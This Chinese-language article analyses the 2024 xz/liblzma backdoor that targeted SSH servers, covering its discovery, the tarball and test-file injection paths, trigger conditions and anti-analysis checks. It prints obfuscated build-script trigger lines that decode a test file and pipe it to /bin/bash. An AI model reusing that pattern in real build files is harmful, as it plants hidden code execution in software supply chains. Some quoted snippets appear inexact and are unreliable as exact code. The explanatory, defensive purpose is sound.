xz/liblzma 供应链后门事件深度分析：一次针对 SSH 服务器的隐蔽攻击

本文深度剖析了 2024 年 3 月曝出的 xz/liblzma 上游仓库及发布包中被植入后门，导致 SSH 服务器可能被远程入侵的严重供应链攻击事件。

事件概述

2024 年 3 月 29 日，Andres Freund 在 oss-security 邮件列表上披露了一个惊人的发现：广泛使用的压缩库 xz/liblzma 的上游仓库和发布的 tarball 包中被植入了复杂的后门代码，该后门能够针对 SSH 服务器进行远程代码执行攻击，可能导致系统被完全控制。这一事件迅速成为开源社区乃至整个网络安全领域的焦点，HN 上获得了 4549 分的高热度。

发现过程：不寻常的症状

Andres Freund 在 Debian sid 安装环境中观察到了几个奇怪的迹象：

1. SSH 登录消耗大量 CPU：正常的 SSH 登录不应该占用如此多的处理资源。
2. Valgrind 报错：Valgrind（内存调试工具）在运行相关程序时报告了错误，暗示可能存在内存访问异常。

这些症状持续了数周，最终促使他深入调查。起初他怀疑是 Debian 的打包过程被入侵，但很快意识到问题出在上游源码，而非发行版本身。

后门植入的两条路径

1. 发布 tarball 中的恶意脚本

后门的一部分仅存在于发布的 tarball 中，而不在上游 Git 仓库中。具体而言，在 m4/build-to-host.m4 文件中（该文件是 autotools 构建系统的一部分），攻击者插入了一行看似无害的代码：

m4
sed rpath $(am__test_dir) | $(am__test_dist_setup) >/dev/null 2>&1

实际上，这行代码在 configure 脚本执行时（几乎是构建过程的早期阶段）会触发一个高度混淆的脚本。这个脚本并不在 Git 仓库的对应源文件中，也不被 xz 的构建系统正常使用。

该恶意脚本的触发链路如下：

• 脚本从仓库中的测试文件（具体是 tests/files/bad-3-corrupt_lzma2.xz）中读取数据。
• 经过一系列复杂的解压、截取、替换操作后，最终构造出一个 shell 命令，并通过管道传递给 /bin/bash 执行。
• 这个最终的 payload 会修改 $builddir/src/liblzma/Makefile，在其中注入额外的构建规则。

其中关键的命令行如下（已混淆）：

bash
...; sed rpath ../../../tests/files/bad-3-corrupt_lzma2.xz | tr " -_" " _-" | xz -d | /bin/bash >/dev/null 2>&1; ...

经过还原后，实际的恶意内容是一个以 ####Hello#### 开头的脚本，它会检查构建环境，并在满足特定条件时，将真正的恶意二进制对象（后门）注入到 liblzma 的构建产物中。

2. Git 仓库中混淆的测试文件

大部分的后门代码以高度混淆的形式存在于两个测试文件中：

• tests/files/bad-3-corrupt_lzma2.xz
• tests/files/good-large_compressed.lzma

这两个文件被提交到了上游仓库（commit cf44e4b7f5dfdbf8c78aef377c10f71e274f63c0），但在 xz 5.6.0 中并没有用于任何实际的测试，显然是为攻击而精心准备的。

后门代码的最终二进制形式被隐藏在 good-large_compressed.lzma 中，需要通过复杂的管道操作才能提取。Andres Freund 在报告中也提到，后门代码会导致某些配置下出现 Valgrind 错误和崩溃，攻击者在 5.6.1 版本中对此进行了修补，调整了堆栈布局和 exploit 代码以规避检测。这种持续的活动表明，提交者要么是直接参与者，要么其系统遭受了严重入侵，且后者可能性较低，因为他们还在邮件列表中讨论这些“修复”。

后门触发条件与攻击逻辑

该后门并非对所有系统生效，而是高度定向。根据分析，它需要满足以下条件：

• 架构与操作系统：必须是 x86-64 架构，操作系统必须是 Linux（通过检查 build 变量中包含 x86_64 和 linux-gnu）。
• 编译器与链接器：必须使用 GCC 作为编译器，并且使用 GNU ld 作为链接器。
• 打包环境：需要是 Debian 或 RPM 打包过程（检测 debian/rules 文件或 RPM_ARCH=x86_64 环境变量）。这很可能为了让研究人员难以复现攻击。
• 系统库依赖：该后门很可能依赖 glibc 的特性才能成功运行，因此非 glibc 系统（如 musl）不受影响。

后门如何影响 SSH 服务器？

OpenSSH 本身并不直接使用 liblzma，但 Debian 和许多其他发行版会应用补丁，让 OpenSSH 支持 systemd 的通知接口，而 libsystemd 库依赖于 liblzma。后门就藏在这条依赖链上。

当攻击者尝试通过 SSH 连接时，恶意代码会尝试在 SSH 服务器（sshd）的认证过程中隐藏自己，并进行远程代码执行。但最直观的副作用是登录速度变慢。Andres Freund 测量到：

• 使用后门库之前，time ssh nonexistant@localhost 耗时约 0.299 秒。
• 使用后门库后，同样操作耗时约 0.807 秒，慢了两到三倍。

这一性能下降是因为后门代码在每次 SSH 连接尝试时都会被触发，执行大量解密、解析和注入步骤。

规避调试与检测的技巧

后门作者非常小心，添加了多种反调试/反分析技术：

• 必须存在 LANG 环境变量，而 TERM 变量不能设置。
• argv[0] 必须严格指向 /usr/sbin/sshd。
• 检测到 LD_DEBUG 或 LD_PROFILE 等调试环境变量时退出。
• 能够检测到某些调试器（如 rr），对于 gdb 的检测不总是成功，但有时能检测到。
• 默认在 systemd 环境下，如果 sshd 不是由 systemd 启动，后门会表现地“看似未触发”，这会让分析人员误以为攻击失败。

为了在非 systemd 环境下复现慢速登录，需要手动设置干净的环境并指定必要的变量：

bash
env -i LANG=en_US.UTF-8 /usr/sbin/sshd -D

甚至不需要完整的 SSH 握手，只需运行 env -i LANG=C /usr/sbin/sshd -h（打印帮助信息）就能观察到 0.5 秒的延迟，说明后门在早期初始化阶段就被激活了。

攻击的影响面与已修复状态

幸运的是，xz 5.6.0 和 5.6.1 这两个版本在事件曝光时（2024 年 3 月底）尚未被广泛集成到 Linux 发行版中。即便在个别发行版中集成了，也大多处于预发布版本。因此，实际受到攻击的系统范围非常有限。

各主流发行版在事件曝光后迅速响应：

• Fedora Rawhide 和 Debian sid（测试版）等受影响系统立即回滚到了未受感染的版本。
• 上游仓库中的恶意提交已经被移除，但发布的 tarball 依然需要警惕，即使是从 GitHub 下载的源码压缩包也可能包含恶意修改（除非是从 Git 仓库直接导出的自动生成链接）。

技术细节：后门的工作原理

Andres Freund 和 Florian Weimer 成功提取了注入的二进制对象 liblzma_la-crc64-fast.o。该对象被注入到 liblzma 的构建过程中，替换了合法的 CRC64 快速实现模块。

其具体工作原理大致如下（基于部分逆向分析）：

1. 后门在 sshd 进程中加载，由于 libsystemd 依赖 liblzma。
2. 它会篡改 RSA_public_decrypt 等与认证相关的函数符号，使得攻击者能够构造特制的公钥来通过认证，从而实现远程代码执行。
3. 后门代码使用了非常高级的混淆，并试图在内存中加载并动态解析特定符号，以规避静态分析。

虽然完整的利用链尚未公开，但已经证明这是一个能够绕过 OpenSSH 认证的致命后门。

教训与反思

• 供应链安全是系统工程，一个不起眼的压缩库也能成为国家级攻击的跳板。
• 开发者环境的安全至关重要，攻击者很可能通过入侵维护者系统、社会工程学或长期渗透来实现恶意提交。
• 性能异常是重要的安全信号，异常的高 CPU 和耗时可能不仅仅是 bug，也可能是后门在运行。
• 安全研究人员和发行版维护者应该对看似“无害”的构建脚本保持高度警惕，尤其是 autotools 生态中的 m4 文件。

后续进展

该事件后续引发了社区对代码签名、构建可重复性、以及关键基础设施软件的安全审查流程的广泛讨论。xz 项目本身也加强了安全措施，并发布了移除后门的修复版本。作为普通用户或管理员，应确保使用的 xz/liblzma 版本已更新至 5.6.2+ (或发行版提供的修复版)，并避免使用受影响的 5.6.0/5.6.1 版本。

---

原文链接：https://www.openwall.com/lists/oss-security/2024/03/29/4